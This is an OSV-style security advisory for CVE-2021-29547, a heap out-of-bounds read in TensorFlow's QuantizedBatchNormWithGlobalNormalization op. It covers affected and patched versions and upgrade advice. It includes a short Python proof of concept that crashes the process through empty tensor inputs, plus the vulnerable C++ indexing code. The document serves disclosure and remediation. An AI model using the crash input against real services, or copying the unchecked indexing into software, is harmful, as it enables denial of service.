---
id: CVE-2021-29547
aliases:
  - GHSA-4fg4-p75j-w5xj
  - BIT-tensorflow-2021-29547
  - PYSEC-2021-184
  - PYSEC-2021-475
  - PYSEC-2021-673
title: Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization`
summary: Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization`
severity: low
cvss: 2.5
cvssVector: 'CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L'
vendor: tensorflow
product: tensorflow
ecosystem: pip
affected:
  - tensorflow < 2.1.4
  - 'tensorflow >= 2.2.0, < 2.2.3'
  - 'tensorflow >= 2.3.0, < 2.3.3'
  - 'tensorflow >= 2.4.0, < 2.4.2'
  - tensorflow-cpu < 2.1.4
  - 'tensorflow-cpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-cpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-cpu >= 2.4.0, < 2.4.2'
  - tensorflow-gpu < 2.1.4
  - 'tensorflow-gpu >= 2.2.0, < 2.2.3'
  - 'tensorflow-gpu >= 2.3.0, < 2.3.3'
  - 'tensorflow-gpu >= 2.4.0, < 2.4.2'
patched:
  - tensorflow 2.1.4
  - tensorflow 2.2.3
  - tensorflow 2.3.3
  - tensorflow 2.4.2
  - tensorflow-cpu 2.1.4
  - tensorflow-cpu 2.2.3
  - tensorflow-cpu 2.3.3
  - tensorflow-cpu 2.4.2
  - tensorflow-gpu 2.1.4
  - tensorflow-gpu 2.2.3
  - tensorflow-gpu 2.3.3
  - tensorflow-gpu 2.4.2
published: '2021-05-21'
updated: '2026-07-08'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-4fg4-p75j-w5xj'
references:
  - url: >-
      https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4fg4-p75j-w5xj
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2021-29547'
  - url: >-
      https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-475.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-673.yaml
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-184.yaml
  - url: 'https://github.com/tensorflow/tensorflow'
tags:
  - osv
  - pip
epss: 0.00189
epssPercentile: 0.07534
ingestedAt: '2026-07-08T18:25:45.471Z'
---

## Overview

### Impact
An attacker can cause a segfault and denial of service via accessing data outside of bounds in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:

```python
import tensorflow as tf

t = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8)
t_min = tf.constant([], shape=[0], dtype=tf.float32)
t_max = tf.constant([], shape=[0], dtype=tf.float32)
m = tf.constant([1], shape=[1], dtype=tf.quint8)
m_min = tf.constant([], shape=[0], dtype=tf.float32)
m_max = tf.constant([], shape=[0], dtype=tf.float32)
v = tf.constant([1], shape=[1], dtype=tf.quint8)
v_min = tf.constant([], shape=[0], dtype=tf.float32)
v_max = tf.constant([], shape=[0], dtype=tf.float32)
beta = tf.constant([1], shape=[1], dtype=tf.quint8)
beta_min = tf.constant([], shape=[0], dtype=tf.float32)
beta_max = tf.constant([], shape=[0], dtype=tf.float32)
gamma = tf.constant([1], shape=[1], dtype=tf.quint8)
gamma_min = tf.constant([], shape=[0], dtype=tf.float32)
gamma_max = tf.constant([], shape=[0], dtype=tf.float32) 

tf.raw_ops.QuantizedBatchNormWithGlobalNormalization(
  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,
  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,
  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,
  gamma_max=gamma_max, out_type=tf.qint32,
  variance_epsilon=0.1, scale_after_normalization=True)
```                         
                            
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc#L176-L189) assumes the inputs are not empty: 
  
```cc
const float input_min = context->input(1).flat<float>()(0);
const float input_max = context->input(2).flat<float>()(0);
...
const float mean_min = context->input(4).flat<float>()(0);
const float mean_max = context->input(5).flat<float>()(0);
...
const float var_min = context->input(7).flat<float>()(0);
const float var_max = context->input(8).flat<float>()(0);
...
const float beta_min = context->input(10).flat<float>()(0);
const float beta_max = context->input(11).flat<float>()(0);
...
const float gamma_min = context->input(13).flat<float>()(0);
const float gamma_max = context->input(14).flat<float>()(0);
```

If any of these inputs is empty, `.flat<T>()` is an empty buffer, so accessing the element at index 0 is accessing data outside of bounds.

### Patches
We have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

## Affected packages

- `tensorflow < 2.1.4`
- `tensorflow >= 2.2.0, < 2.2.3`
- `tensorflow >= 2.3.0, < 2.3.3`
- `tensorflow >= 2.4.0, < 2.4.2`
- `tensorflow-cpu < 2.1.4`
- `tensorflow-cpu >= 2.2.0, < 2.2.3`
- `tensorflow-cpu >= 2.3.0, < 2.3.3`
- `tensorflow-cpu >= 2.4.0, < 2.4.2`
- `tensorflow-gpu < 2.1.4`
- `tensorflow-gpu >= 2.2.0, < 2.2.3`
- `tensorflow-gpu >= 2.3.0, < 2.3.3`
- `tensorflow-gpu >= 2.4.0, < 2.4.2`

## Remediation

Upgrade to a patched release:

- `tensorflow 2.1.4`
- `tensorflow 2.2.3`
- `tensorflow 2.3.3`
- `tensorflow 2.4.2`
- `tensorflow-cpu 2.1.4`
- `tensorflow-cpu 2.2.3`
- `tensorflow-cpu 2.3.3`
- `tensorflow-cpu 2.4.2`
- `tensorflow-gpu 2.1.4`
- `tensorflow-gpu 2.2.3`
- `tensorflow-gpu 2.3.3`
- `tensorflow-gpu 2.4.2`